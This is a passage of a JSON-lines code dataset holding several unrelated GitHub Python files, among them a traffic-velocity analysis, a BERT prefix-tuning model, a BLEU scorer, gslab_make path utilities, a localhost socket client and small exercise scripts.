plt.legend(loc=\"upper left\")\n\n        plt.show()\n\n\ndef describe(month, event_type):\n    distance = 1000\n    csv_file = open(\"velocity_analysis_{}_{}m_{}.csv\".format(month, distance, event_type), \"w\")\n    writer = csv.writer(csv_file, delimiter=',')\n\n    for file_path in glob.glob(path.join(\n            path.dirname(path.realpath(__file__)), \"..\", \"datasets\",\n            \"data_2017_{:02}_exception_events_{}m\", \"stats_*_{}.csv\").format(month, distance, event_type)):\n\n        file_name = file_path.split(\"datasets/\")[1]\n        event_id = file_name.split(\"stats_\")[1].split(\"_\")[0]\n\n        try:\n            df_stats = pd.read_csv(path.join(path.dirname(path.realpath(__file__)), \"..\", \"datasets\",\n                                             file_name), encoding='utf-8', sep=',')\n            if not df_stats.empty:\n                df_stats['day'] = df_stats.apply(lambda x: int(x['filename'].split(\"_\")[0][6:8]), axis=1)\n                try:\n                    event_datetime = datetime.datetime.strptime(df_stats['dateTime'].values[0], '%Y-%m-%d %H:%M:%S')\n                except Exception as e:\n                    event_datetime = datetime.datetime.strptime(df_stats['dateTime'].values[0], '%Y-%m-%d')\n                    print(e)\n                    pass\n                code_lines = list(set(df_stats['cd_linha'].tolist()))\n                velocity_mean = np.mean(df_stats['median'].tolist())\n                for code_line in code_lines:\n                    df_event_day = df_stats.loc[(df_stats['cd_linha'] == code_line) & (df_stats['day'] ==\n                                                                                       event_datetime.day)]\n                    if len(list(df_event_day['mean'])) == 0:\n                        pass\n                    else:\n                        writer.writerow([event_id, code_line, str(event_datetime),\n                                         1 if float(df_event_day['median']) <= velocity_mean else 0])\n            else:\n                pass\n        except EmptyDataError:\n            pass\n\n    csv_file.close()\n\n    try:\n        velocities = pd.read_csv('velocity_analysis_{}_{}m_{}.csv'.format(month, distance, event_type),\n                                 encoding='utf-8', sep=',', header=None)\n        velocities.columns = ['event_id', 'code_line', 'dateTime', 'less_count']\n\n        grouped_ids = velocities.groupby(['event_id'])\n\n        up = 0\n        down = 0\n        for name, group in grouped_ids:\n            less = len(group.loc[(group['less_count'] == 1)])\n            more = len(group.loc[(group['less_count'] == 0)])\n            if less / (more + less) > 0.5:\n                down = down + 1\n            else:\n                up = up + 1\n\n        if down + up > 0:\n            print(\"{}:{}\".format(event_type, (down / (down + up)) * 100))\n        else:\n            print(\"{}:{}\".format(event_type, 0))\n    except Exception as e:\n        print(e)\n        pass\n\n# df = pd.read_csv(path.join(path.dirname(path.realpath(__file__)), \"..\", \"datasets\",\n#                            \"processed_tweets_CETSP_affected_code_lines_100.csv\"), encoding='utf-8', sep=';')\n# df[\"dateTime\"] = pd.to_datetime(df.dateTime)\n# df[\"lat\"] = df['lat'].astype(str)\n# df[\"lng\"] = df['lng'].astype(str)\n# df.to_csv(path.join(path.dirname(path.realpath(__file__)), \"..\", \"datasets\",\n#                     \"2_processed_tweets_CETSP_affected_code_lines_100.csv\"), sep=\",\", index=False,\n#           quoting=csv.QUOTE_NONNUMERIC, header=True)\n\n# plot_affected_addresses()\n# plot_stats()\n\n\nif __name__ == '__main__':\n    months = {\"january\": 1, \"february\": 2, \"march\": 3, \"april\": 4, \"may\": 5, \"june\": 6, \"july\": 7, \"august\": 8,\n              \"september\": 9, \"october\": 10, \"november\": 11, \"december\": 12}\n    events = [\"accident\", \"natural_disaster\", \"social_event\", \"urban_event\"]\n\n    for key in months.keys():\n        print(key)\n        for event in events:\n            describe(months[key], event)\n","repo_name":"fcas/mobility-analysis","sub_path":"scripts/data_viz_analysis.py","file_name":"data_viz_analysis.py","file_ext":"py","file_size_in_byte":10947,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"34292841019","text":"import medmnist\nfrom medmnist import INFO, Evaluator\n\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nimport torch.utils.data as data\nimport torchvision.transforms as transforms\n\ndata_flag = 'breastmnist'\ndownload = True\n\ninfo = INFO[data_flag]\ntask = info['task']\nn_channels = info['n_channels']\nn_classes = len(info['label'])\n\nDataClass = getattr(medmnist, info['python_class'])\n\n# preprocessing\ndata_transform = transforms.Compose([\n    transforms.ToTensor(),\n    transforms.Normalize(mean=[.5], std=[.5])\n])\n\n# load the data\ntrain_dataset = DataClass(split='train', transform=data_transform, download=download)\ntest_dataset = DataClass(split='test', transform=data_transform, download=download)\n\nprint(train_dataset)\nprint(\"========================================\")\nprint(test_dataset)\n\ntrain_dataset.montage(length = 20)","repo_name":"viniandrs/MachineLearningProjects","sub_path":"kNearestNeighbors/dataset_test.py","file_name":"dataset_test.py","file_ext":"py","file_size_in_byte":841,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"73601096009","text":"def FirstNotRepeatingChar(s):\n    # write code here\n    map = {}\n    for i in range(len(s)):\n        map[s[i]] = map.get(s[i], 0) + 1\n    for i in range(len(s)):\n        if map[s[i]] == 1:\n            return i\n    return -1\n\nprint(FirstNotRepeatingChar('abac'))\n\n# ½â·¨¶þ\n# -*- coding:utf-8 -*-\nclass Solution:\n    def FirstNotRepeatingChar(self, s):\n        # write code here\n        if len(s)<=0 or len(s)>10000:\n            return -1\n        for i,v in enumerate(s):\n            if s.count(v) == 1:\n                return i","repo_name":"daimengqi/Coding4Interviews-python-DMQ","sub_path":"Coding4Interviews-python-DMQ/剑指offer/034-第一个只出现一次的字符/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":526,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"5924181624","text":"import tensorflow.keras.layers as layers\nimport tensorflow as tf\nimport numpy as np\n\nfrom transformers import TFBertModel\nfrom src.models.tensorflow.mod_bert import ModTFBertModel\n\n\nclass PrefixEncoderTF(tf.keras.layers.Layer):\n    \"\"\"\n    Prefix encoder\n    \"\"\"\n    def __init__(self, config):\n        super().__init__()\n        self.prefix_projection = config.prefix_projection\n        if self.prefix_projection:\n            # Use a two-layer MLP to encode the prefix\n            self.embedding = tf.keras.layers.Embedding(config.pre_seq_len, config.hidden_size)\n            self.dense_1 = tf.keras.layers.Dense(config.prefix_hidden_size, trainable=True)\n            self.activation = tf.keras.layers.Activation('tanh')\n            self.dense_2 = tf.keras.layers.Dense(config.num_hidden_layers * 2 * config.hidden_size, trainable=True)\n        else:\n            self.embedding = tf.keras.layers.Embedding(config.pre_seq_len, config.num_hidden_layers * 2 * config.hidden_size)\n\n    def call(self, prefix):\n        if self.prefix_projection:\n            prefix_tokens = self.embedding(prefix)\n            out = self.dense_1(prefix_tokens)\n            out = self.activation(out)\n            past_key_values = self.dense_2(out)\n        else:\n            past_key_values = self.embedding(prefix)\n        return past_key_values\n\n\nclass TFBertPrefix(tf.keras.Model):\n    \"\"\"\n    Prompt-tuning V2\n    \"\"\"\n    def __init__(self, config, use_custom=False, freeze=True):\n        super().__init__()\n        # Bert \n        self.num_labels = config.num_labels\n        self.config = config\n        self.use_custom = use_custom\n        if not use_custom:\n            self.bert = TFBertModel.from_pretrained(config.model_name_or_path)\n        else:\n            self.bert = ModTFBertModel.from_pretrained(config.model_name_or_path, config=config)\n\n        # TODO: Currently hard code dropout rate\n        self.dropout = layers.Dropout(rate=0.1)\n        \n        if freeze: # Freeze pretrained Bert\n            for layer in self.bert.layers:\n                layer.trainable = False\n\n        self.pre_seq_len = config.pre_seq_len\n        self.n_layer = config.num_hidden_layers\n        self.n_head = config.num_attention_heads\n        self.n_embd = config.hidden_size // config.num_attention_heads\n\n        # Prefix\n        self.prefix_tokens = tf.range(self.pre_seq_len, dtype=tf.int32)\n        self.prefix_encoder = PrefixEncoderTF(config)\n\n    def get_prompt(self, batch_size, training):\n        prefix_tokens = tf.expand_dims(self.prefix_tokens, axis=0)\n        prefix_tokens = tf.tile(prefix_tokens, [batch_size, 1])\n        past_key_values = self.prefix_encoder(prefix_tokens)\n        past_key_values = tf.reshape(past_key_values, [batch_size, self.pre_seq_len, self.n_layer * 2, self.n_head, self.n_embd])\n        past_key_values = self.dropout(past_key_values, training=training)\n        past_key_values = tf.transpose(past_key_values, perm=[2, 0, 3, 1, 4])\n        # past_key_values = tf.split(past_key_values, num_or_size_splits=12, axis=0)\n        past_key_values = tf.split(past_key_values, num_or_size_splits=24, axis=0)\n        return past_key_values\n    \n    def call(self, \n            input_ids=None,\n            pos_ids=None,\n            attention_mask=None,\n            token_type_ids=None,\n            position_ids=None,\n            head_mask=None,\n            inputs_embeds=None,\n            output_attentions=None,\n            output_hidden_states=None,\n            return_dict=None,\n            training=False\n        ):        \n        batch_size = tf.shape(input_ids)[0]\n        past_key_values = self.get_prompt(batch_size=batch_size, training=training)\n        prefix_attention_mask = tf.ones([batch_size, self.pre_seq_len], dtype=tf.int32)\n        attention_mask = tf.concat([prefix_attention_mask, attention_mask], axis=1)\n\n        if not self.use_custom:\n            outputs = self.bert(\n                input_ids,\n                attention_mask=attention_mask,\n                token_type_ids=token_type_ids,\n                past_key_values=past_key_values,\n                position_ids=position_ids,\n                head_mask=head_mask,\n                inputs_embeds=inputs_embeds,\n                output_attentions=output_attentions,\n                output_hidden_states=output_hidden_states,\n                return_dict=return_dict,\n                training=training\n            )\n        else:\n            outputs = self.bert(\n                input_ids,\n                pos_ids,\n                attention_mask=attention_mask,\n                token_type_ids=token_type_ids,\n                past_key_values=past_key_values,\n                position_ids=position_ids,\n                head_mask=head_mask,\n                inputs_embeds=inputs_embeds,\n                output_attentions=output_attentions,\n                output_hidden_states=output_hidden_states,\n                return_dict=return_dict,\n                training=training\n            )\n\n        return outputs","repo_name":"thinhnggia/Thesis-2023","sub_path":"src/models/tensorflow/cts_prompt.py","file_name":"cts_prompt.py","file_ext":"py","file_size_in_byte":4988,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"71043602249","text":"import sys,os,time\nfrom socket import *\nserver_host='localhost'\nserver_port=50007\nbuff=1024\n\nsock=socket(AF_INET,SOCK_STREAM)\nsock.connect((server_host,server_port))\n\nwhile True:\n    data=sock.recv(buff)\n    if not data:\n        break\n    print(data.decode())\nsock.close()\n","repo_name":"zshwwcx/Visual-Studio_test","sub_path":"distributed_system_homework2/ftp_client.py","file_name":"ftp_client.py","file_ext":"py","file_size_in_byte":273,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"29056193718","text":"'''\nDate: 2022-05-28 21:05:41\nLastEditors: HeXu\nLastEditTime: 2022-05-28 22:09:46\nFilePath: /3D-PointCloud-PyQt/helloworld.py\n'''\nimport sys\nfrom PyQt5.QtWidgets import QApplication, QWidget\n\n\nif __name__ == '__main__':\n    app = QApplication(sys.argv) # 创建应用对象, sys.argv 是一组命令行的参数列表, 通过参数进行脚本控制\n\n    w = QWidget()# 用户界面的基本控件,提供了基本的应用构造器,默认下是没有父级的\n\n    w.resize(250, 150)# 调整大小,单位是像素\n    \n    w.move(300, 300)# 修改位置,原点为左上角\n\n    w.setWindowTitle('Simple')\n\n    w.show()\n\n    sys.exit(app.exec_()) # 进入了应用的主循环中\n","repo_name":"enginBozkurt/3D-PointCloud-PyQt","sub_path":"helloworld.py","file_name":"helloworld.py","file_ext":"py","file_size_in_byte":679,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"11931387502","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"The setup script.\"\"\"\n\nfrom setuptools import setup, find_packages\n\nwith open('README.md') as readme_file:\n    readme = readme_file.read()\n\nsetup_requirements = ['pytest-runner', ]\n\ntest_requirements = ['pytest', ]\n\nsetup(\n    author=\"Joe Filippazzo\",\n    author_email='jfilippazzo@stsci.edu',\n    classifiers=[\n        'Development Status :: 2 - Pre-Alpha',\n        'Intended Audience :: Developers',\n        'License :: OSI Approved :: MIT License',\n        'Natural Language :: English',\n        'Programming Language :: Python :: 3.6'\n    ],\n    description=\"Make large FITS files fit on Github\",\n    install_requires=['numpy', 'astropy'],\n    license=\"MIT license\",\n    # long_description=readme + '\\n\\n' + history,\n    long_description=\"Make large FITS files fit on Github\",\n    include_package_data=True,\n    keywords='gitfit',\n    name='gitfit',\n    packages=find_packages(include=['gitfit']),\n    setup_requires=setup_requirements,\n    test_suite='tests',\n    tests_require=test_requirements,\n    url='https://github.com/hover2pi/gitfit',\n    version='0.1.1',\n    zip_safe=False,\n)\n","repo_name":"hover2pi/gitfit","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1140,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"69826445128","text":"\"\"\"Multi-bleu in python matching Moses http://www.statmt.org/moses/?n=Moses.SupportTools#ntoc5\n\nReference files and prediction files must be sentence aligned. To use multiple\nreferences use multiple reference files (all sentence aligned)\n\nAll text should already be tokenized (calling `.split()` on the line produces correct tokens)\n\"\"\"\n\nimport six\nfrom six.moves import reduce, map, zip, range\n\nimport sys\nimport argparse\nfrom operator import or_\nfrom itertools import chain\nfrom collections import Counter\nimport numpy as np\n\n\ndef n_grams(tokens, n):\n    \"\"\"Create a list for n grams for each value up to and including n.\n\n    :param tokens: `List[str]` The sequence to create n_grams on.\n    :param n: `int` or `tuple[int]` If int the largest n_gram to create else\n        the n_grams to create.\n\n    :returns: `iterable` An iterable of the n_grams.\n    \"\"\"\n    n = range(n + 1) if isinstance(n, int) else n\n    return chain(*(zip(*[tokens[i:] for i in range(n_)]) for n_ in n))\n\n\ndef count_n_grams(tokens, n):\n    \"\"\"Count the n_grams in a sequence.\n\n    :param tokens: `List[str]` The sequence to create n_grams on.\n    :param n: `int` or `tuple[int]` If int the largest n_gram to create else\n        the n_grams to create.\n\n    :returns: `Counter[n_gram]` The counts of each n_gram.\n    \"\"\"\n    return Counter(n_grams(tokens, n))\n\n\ndef find_closest(pred_len, golds):\n    \"\"\"Find the gold sentence that has the most similar length to pred.\n\n    Note:\n        When there are multiple sentence with the same different in length\n        to the pred length the shortest one is selected.\n\n    :param pred_len: `int` The length of the predicted sentence.\n    :param golds: `List[List[str]]` The gold sentences.\n\n    :returns: `int` The length of the selected gold sentence.\n    \"\"\"\n    best_diff = six.MAXSIZE; best_len = six.MAXSIZE;\n    for gold in golds:\n        gold_len = len(gold)\n        diff = abs(pred_len - gold_len)\n        if diff < best_diff:\n            best_diff = diff\n            best_len = gold_len\n        elif diff == best_diff:\n            best_len = gold_len if gold_len < best_len else best_len\n    return best_len\n\n\ndef corpora_lengths(preds, golds):\n    \"\"\"Calculate the length of the two corpora.\n\n    The length of the pred corpus is just the sum of lengths, the length\n    of the gold corpus is the sum of the lengths of a single gold selected\n    from a set of golds. This single gold is selected to be the length that\n    is closest to the pred lengths (in the event of ties select the shorter\n    gold sentence).\n\n    :param preds: `List[List[str]]` A list of sentences generated by the model.\n        This is [B, T] where B is the number of examples in the dataset and T\n        is the number of words in that prediction.\n    :param golds: `List[List[List[str]]]` A list of gold sentences. This is\n        [B, R, T] where B is the number of examples in the dataset, R is the\n        number of gold sentences we have for a particular example, and T is the\n        number of words in that gold sentence.\n\n    :returns: `(int, int)` The length of the predicted corpus and the length of\n        the gold corpus.\n    \"\"\"\n    pred_len = 0; gold_len = 0\n    for pred, gold in zip(preds, golds):\n        pred_len += len(pred)\n        gold_len += find_closest(len(pred), gold)\n    return pred_len, gold_len\n\n\ndef max_gold_n_gram_counts(golds, n):\n    \"\"\"Find the maximum n gram count for the gold sequences.\n\n    :param golds: `List[List[str]]` The gold sentences.\n    :param n: `int` The max size of n-grams we are using.\n\n    :returns: `Counter[str]` The maximum count for any n-gram that appears\n        in a gold sentence.\n    \"\"\"\n    # or_ is the union of counters so result is max count for each n gram\n    # that appears in the any of the gold sentences.\n    return reduce(or_, map(lambda g: count_n_grams(g, n), golds))\n\n\ndef count_matches(pred_counts, gold_counts, matches):\n    \"\"\"Aggregate the number of matches for each n gram length.\n\n    :param pred_counts: `Counter[str]` The counts for n grams found in the\n        predicted sentence.\n    :param gold_counts: `Counter[str]` The max counts for n grams found in\n        the gold sentences.\n    :param matches: `np.ndarray` The number of matches found so far grouped\n        by n-gram size.\n\n    :returns: `np.ndarry` The number of matches so far grouped by n-gram size.\n    \"\"\"\n    # & is the intersection of counters, selecting the min of each n gram\n    # that appears in both if the counters.\n    overlap = pred_counts & gold_counts\n    for n_gram, count in overlap.items():\n        matches[len(n_gram) - 1] += count\n    return matches\n\n\ndef count_possible(pred, total):\n    \"\"\"Count the total number of possible matches.\n\n    We recalculate the total possible rather than use the counts calculated\n    before because the counts aren't binned by length.\n\n    :param pred: `List[str]` The predicted sentence.\n    :param total: `np.ndarry` The current total number of possible matches\n        grouped by size.\n\n    :returns: `np.ndarry` The new number of possible n-gram matches of far\n        grouped by size.\n    \"\"\"\n    for n in range(len(total)):\n        # Possible number of n_grams for a sequence is the length of the sequence\n        # minus the length of the n_gram plus 1. In this case n_ is already\n        # one less than length of n_gram so just subtract that.\n        total_grams = len(pred) - n\n        if total_grams > 0:\n            total[n] += total_grams\n    return total\n\n\ndef geometric_mean(precision):\n    \"\"\"Calculate the geometric mean of the precision.\n\n    Geometric mean is the nth root of the product of n numbers. This\n    can be expressed as the e^(arithmetic mean of the logs). The geometric\n    mean only applies to positive number and any 0 is the values makes the\n    answer trivially zero to checkout for that first to avoid log(0).\n\n    :param precision: `np.ndarry` The precision for each n-gram size.\n\n    :returns: `float` The geometric_mean of the values.\n    \"\"\"\n    if np.min(precision) <= 0:\n        return 0.0\n    return np.exp(np.mean(np.log(precision))).item()\n\n\ndef brevity_penalty(pred_len, gold_len):\n    \"\"\"Calculate the brevity penalty.\n\n    :param pred_len: `int` The length of the model prediction corpus\n    :param gold_len: `int` The length of the gold corpus\n\n    :returns: (`float`, `float`): The brevity penalty and the ratio of predicted\n        length to gold length.\n    \"\"\"\n    ratio = pred_len / float(gold_len)\n    # If ratio is <= 1.0 then pred_len <= gold_len so penalty applies.\n    # Penalty is defined as e^(1 - (gold / pred)). (1 / (p / g)) = (g / p)\n    bp = np.exp(1 - (1. / ratio)).item() if ratio <= 1.0 else 1.0\n    return bp, ratio\n\n\ndef bleu(preds, golds, n=4):\n    \"\"\"Calculate BLEU score\n\n    This implementation is designed to match the output of `multi-bleu,pl` from\n    http://www.statmt.org/moses/?n=Moses.SupportTools#ntoc5\n\n    :param preds: `List[List[str]]` A list of sentences generated by the model.\n        This is [B, T] where B is the number of examples in the dataset and T\n        is the number of words in that prediction.\n    :param golds: `List[List[List[str]]]` A list of gold sentences. This is\n        [B, R, T] where B is the number of examples in the dataset, R is the\n        number of gold sentences we have for a particular example, and T is the\n        number of words in that gold sentence.\n    :param n: `int` The max size n-gram to use.\n\n    :returns:\n        6-tuple (\n            `float` The Bleu score,\n            `np.array` The precision for each n_gram,\n            `float` The brevity penalty,\n            `int` The length of the predictions,\n            `int` The length of the references,\n        )\n    \"\"\"\n    matches = np.zeros(n)\n    total = np.zeros(n)\n    pred_len, gold_len = corpora_lengths(preds, golds)\n    for pred, gold in zip(preds, golds):\n        max_gold_counts = max_gold_n_gram_counts(gold, n)\n        pred_counts = count_n_grams(pred, n)\n        matches = count_matches(pred_counts, max_gold_counts, matches)\n        total = count_possible(pred, total)\n\n    precision = np.array([matches[i] / float(total[i]) if total[i] > 0 else 0.0 for i in range(n)])\n    geo_mean = geometric_mean(precision)\n    bp, len_ratio = brevity_penalty(pred_len, gold_len)\n    b = geo_mean * bp * 100\n    return (b, precision * 100, bp, len_ratio, pred_len, gold_len)\n\n\n# Slightly strange file readers that read from pre opened files to facilitate\n# reading the predictions from stdin. Won't be used elsewhere.\ndef _read_references(reference_files, lc):\n    \"\"\"Read from multiple reference files.\n\n    :param reference_file: `List[str]` A list of reference files to read from.\n    :param lc: `bool` should the input be lowercased\n\n    :return: `List[List[List[str]]]` The reference corpus is the form `[B, R, T]`\n        where B is the number of sentences in the corpus, R is the number of\n        references for that sentence and T is the number of words in that reference\n    \"\"\"\n    references = []\n    for ref in reference_files:\n        with open(ref) as f:\n            references.append(_read_lines(f, lc))\n    return list(zip(*references))\n\n\ndef _read_lines(f, lc):\n    \"\"\"Read from a file that is open.\"\"\"\n    if lc:\n        return list(map(lambda x: list(map(lambda y: y.lower(), x.split())), f))\n    return list(map(lambda x: x.split(), f))\n\n\ndef main():\n    \"\"\"Use as a cli tools like multibleu.pl\"\"\"\n    usage = \"%(prog)s [-lc] [-n] reference < hypothesis\\nReads the references from reference or reference0, reference1, ...\\n\"\n    parser = argparse.ArgumentParser(description=\"Calculate Bleu score.\", usage=usage)\n    parser.add_argument('-lc', help='lowercase the input', action='store_true')\n    parser.add_argument('-n', type=int, default=4, help='The number of ngrams to use.')\n    parser.add_argument('reference', nargs='+')\n    args = parser.parse_args()\n\n    golds = _read_references(args.reference, args.lc)\n    preds = _read_lines(sys.stdin, args.lc)\n\n    b, precision, bp, len_ratio, pred_len, gold_len = bleu(preds, golds, args.n)\n    precision_str = \"/\".join([\"{:.1f}\"] * len(precision)).format(*precision)\n\n    print(\"BLEU = {bleu:.2f}, {per} (BP={bp:.3f}, ratio={ratio:.3f}, hyp_len={hyp}, ref_len={ref})\".format(\n        bleu=b, per=precision_str, bp=bp, ratio=len_ratio, hyp=pred_len, ref=gold_len\n    ))\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"bcmi220/multilingual_srl","sub_path":"baseline/bleu.py","file_name":"bleu.py","file_ext":"py","file_size_in_byte":10373,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"37076353583","text":"# -*- coding: utf-8 -*-\nfrom builtins import (bytes, str, open, super, range,\n                      zip, round, input, int, pow, object)\n\nimport os\nimport shutil\nimport traceback\n\nfrom termcolor import colored\nimport colorama\ncolorama.init()\n\nimport gslab_make.private.messages as messages\nimport gslab_make.private.metadata as metadata\nfrom gslab_make.private.exceptionclasses import CritError, ColoredError\nfrom gslab_make.private.utility import get_path, format_message, norm_path, open_yaml\n\n\ndef _check_os(osname = os.name):\n    \"\"\"Check OS is either POSIX or NT. \n    \n    Parameters\n    ----------\n    osname : str, optional\n        Name of OS. Defaults to ``os.name``.\n\n    Returns\n    -------\n    None\n    \"\"\"\n\n    if osname not in ['posix', 'nt']:\n        raise CritError(messages.crit_error_unknown_system % osname)\n\n\ndef update_executables(paths, osname = None):\n    \"\"\".. Update executable names using user configuration file. \n    \n    Updates executable names with executables listed in file ``config_user``.\n    \n    Note\n    ----\n    Executable names are used by :ref:`program functions <program functions>`.\n    \n    Parameters\n    ----------\n    paths : dict \n        Dictionary of paths. Dictionary should contain values for all keys listed below.\n    osname : str, optional\n        Name of OS. Defaults to ``os.name``.\n\n    Path Keys\n    ---------\n    config_user : str\n        Path of user configuration file.   \n\n    Returns\n    -------\n    None\n    \"\"\"\n\n    osname = osname if osname else os.name # https://github.com/sphinx-doc/sphinx/issues/759\n\n    try:\n        config_user = get_path(paths, 'config_user')\n        config_user = open_yaml(config_user)\n    \n        _check_os(osname)\n    \n        if config_user['local']['executables']:\n            metadata.default_executables[osname].update(config_user['local']['executables'])\n    except:\n        error_message = 'Error with update_executables. Traceback can be found below.' \n        error_message = format_message(error_message) \n        raise ColoredError(error_message, traceback.format_exc())\n\n\ndef update_external_paths(paths):\n    \"\"\".. Update paths using user configuration file. \n    \n    Updates dictionary ``paths`` with externals listed in file ``config_user``.\n    \n    Note\n    ----\n    The ``paths`` argument for :ref:`sourcing functions<sourcing functions>` is used not only to get \n    default paths for writing/logging, but also to \n    `string format <https://docs.python.org/3.4/library/string.html#format-string-syntax>`__ \n    sourcing instructions.\n    \n    Parameters\n    ----------\n    paths : dict \n        Dictionary of paths to update. \n        Dictionary should ex-ante contain values for all keys listed below.\n\n    Path Keys\n    ---------\n    config_user : str\n        Path of user configuration file.  \n\n    Returns\n    -------\n    paths : dict\n        Dictionary of updated paths. \n    \"\"\"\n\n    try:\n        config_user = get_path(paths, 'config_user')\n        config_user = open_yaml(config_user)\n\n        if config_user['external']:\n            paths.update(config_user['external'])\n\n        return(paths)\n    except:\n        error_message = 'Error with update_external_paths. Traceback can be found below.' \n        error_message = format_message(error_message) \n        raise ColoredError(error_message, traceback.format_exc())\n\ndef update_paths(paths):\n    \"\"\".. Alias for ``update_external_paths()``\n\n    Parameters\n    ----------\n    paths : dict \n        Dictionary of paths to update. \n        Dictionary should ex-ante contain values for all keys listed below.\n\n    Path Keys\n    ---------\n    config_user : str\n        Path of user configuration file.  \n\n    Returns\n    -------\n    paths : dict\n        Dictionary of updated paths. \n    \"\"\"\n    \n    return update_external_paths(paths)\n\ndef update_internal_paths(paths):\n    \"\"\".. Update within-directory paths using default configuration file.\n    \n    Returns dictionary ``paths`` with directory locations listed in file ``config``.\n    \n    Parameters\n    ----------\n    paths : dict \n        Dictionary of paths to update. \n        Dictionary should ex-ante contain values for all keys listed below.\n\n    Path Keys\n    ---------\n    root : str\n        Path of project repo root\n    config : str\n        Path of user configuration file.  \n\n    Returns\n    -------\n    paths : dict\n        Dictionary of paths. \n    \"\"\"\n\n    try:\n        config_default = get_path(paths, 'config')\n        config_default = open_yaml(config_default)\n        \n        root = get_path(paths, 'root')\n        relative_paths = {path_label: os.path.join(root, path) for \\\n            path_label, path in config_default['make_paths']['root_relative'].items()}\n        absolute_paths = config_default['make_paths']['absolute']\n\n        paths.update(relative_paths)\n        paths.update(absolute_paths)\n\n        return(paths)\n        \n    except:\n        error_message = 'Error with update_external_paths. Traceback can be found below.' \n        error_message = format_message(error_message) \n        raise ColoredError(error_message, traceback.format_exc())\n\n\ndef copy_output(file, copy_dir):\n    \"\"\".. Copy output file.\n    \n    Copies output ``file`` to directory ``copy_dir`` with user prompt to confirm copy.\n    \n    Parameters\n    ----------\n    file : str\n        Path of file to copy.\n    copy_dir : str\n        Directory to copy file.\n\n    Returns\n    -------\n    None\n    \"\"\"\n\n    file = norm_path(file)\n    copy_dir = norm_path(copy_dir)\n    message = colored(messages.warning_copy, color = 'cyan')\n    upload = input(message % (file, copy_dir))\n\n    if upload.lower().strip() == \"yes\":\n        shutil.copy(file, copy_dir)\n\n\n__all__ = ['update_executables', 'update_external_paths', 'update_internal_paths', 'copy_output']\n","repo_name":"gslab-econ/gslab_make","sub_path":"gslab_make/make_utility.py","file_name":"make_utility.py","file_ext":"py","file_size_in_byte":5785,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"4837413553","text":"import sys\nfrom cx_Freeze import setup, Executable\n\n# Dependências do seu código\nbuild_exe_options = {\"packages\": [\"os\" , \"requests\" , \"bs4\" , \"docx\", \"tkinter\", \"pymongo\", \"datetime\", \"webbrowser\"], \"excludes\": [],\n     \"include_files\": [\"layout.py\", \"JW_Mural.py\", \"connetion_DB.py\"] \n     }\n\n# Configurações do setup\nsetup(\n    name = \"JW_Mural\",\n    version = \"0.1\",\n    description = \"Descrição do seu código\",\n    options = {\"build_exe\": build_exe_options},\n    executables = [Executable(\"layout.py\", base=None, shortcut_name= \"qd_anuncio\")]\n)\n","repo_name":"isaklucas/JW_Mural","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":557,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"36784066157","text":"# Regex module\nimport re\n\n# Function for matching\ndef validate_contact_number(contact_number):\n    # Regex for valid contact numbers\n    pattern = r'^(\\+?)(\\+?\\d{1,2}[\\s.-]?)?\\(?\\d{3}\\)?[\\s.-]?\\d{3}[\\s.-]?\\d{4}$'\n    \n    # Checking if the contact number matches the pattern\n    if re.match(pattern, contact_number):\n        return True\n    else:\n        return False\n\n# Test cases\ncontact_numbers = {\n    \"2124567890\",\n    \"212-456-7890\",\n    \"(212)456-7890\",\n    \"(212)-456-7890\",\n    \"212.456.7890\",\n    \"212 456 7890\",\n    \"+12124567890\",\n    \"+1 212.456.7890\",\n    \"+212-456-7890\",\n    \"1-212-456-7890\"\n}\n\n# Iterating and checking if numbers are valid or not\nfor number in contact_numbers:\n    if validate_contact_number(number):\n        print(f\"{number} is a valid contact number.\")\n    else:\n        print(f\"{number} is an invalid contact number.\")\n","repo_name":"anujpunekar20/ful.io-assignment","sub_path":"q1.py","file_name":"q1.py","file_ext":"py","file_size_in_byte":856,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"21122084541","text":"import PySimpleGUI as sg\r\nfrom random import choice\r\n\r\n#sortiar numero secreto\r\n\r\nlst = ('1', '2', '3', '4', '5', '6', '7', '8', '9')\r\nns = choice(lst)\r\ncontador = 1\r\n\r\n#Criar telas\r\n\r\ndef Tela_inicio():\r\n    layout = [\r\n        [sg.Text('Pensei em um numero entre 1 a 9.')],\r\n        [sg.Text('Seu Chute:'), sg.Input(key='chute')],\r\n        [sg.Button('Chutar')]\r\n    ]\r\n    return sg.Window('Adivinhe o Numero', layout=layout, finalize=True)\r\n\r\ndef Tela_certo():\r\n    layout = [\r\n        [sg.Text(f'Parabéns, Acertou com {contador} tentativas.')],\r\n        [sg.Button('Sair')]\r\n    ]\r\n    return sg.Window('Acertou', layout=layout, finalize=True)\r\n\r\ndef Tela_erro():\r\n    layout = [\r\n        [sg.Text('Errou Tente de Novo.')],\r\n        [sg.Text('Novo Chute:'), sg.Input(key='nChute')],\r\n        [sg.Button('Novo Chute'), sg.Button('Sair')]\r\n    ]\r\n    return sg.Window('Erro', layout=layout, finalize=True)\r\n\r\n#Mostrar Telas\r\n\r\njanela1, janela2, janela3 = Tela_inicio(), None, None\r\nwhile True:\r\n\r\n    #condições para fechar\r\n\r\n    window, event, values = 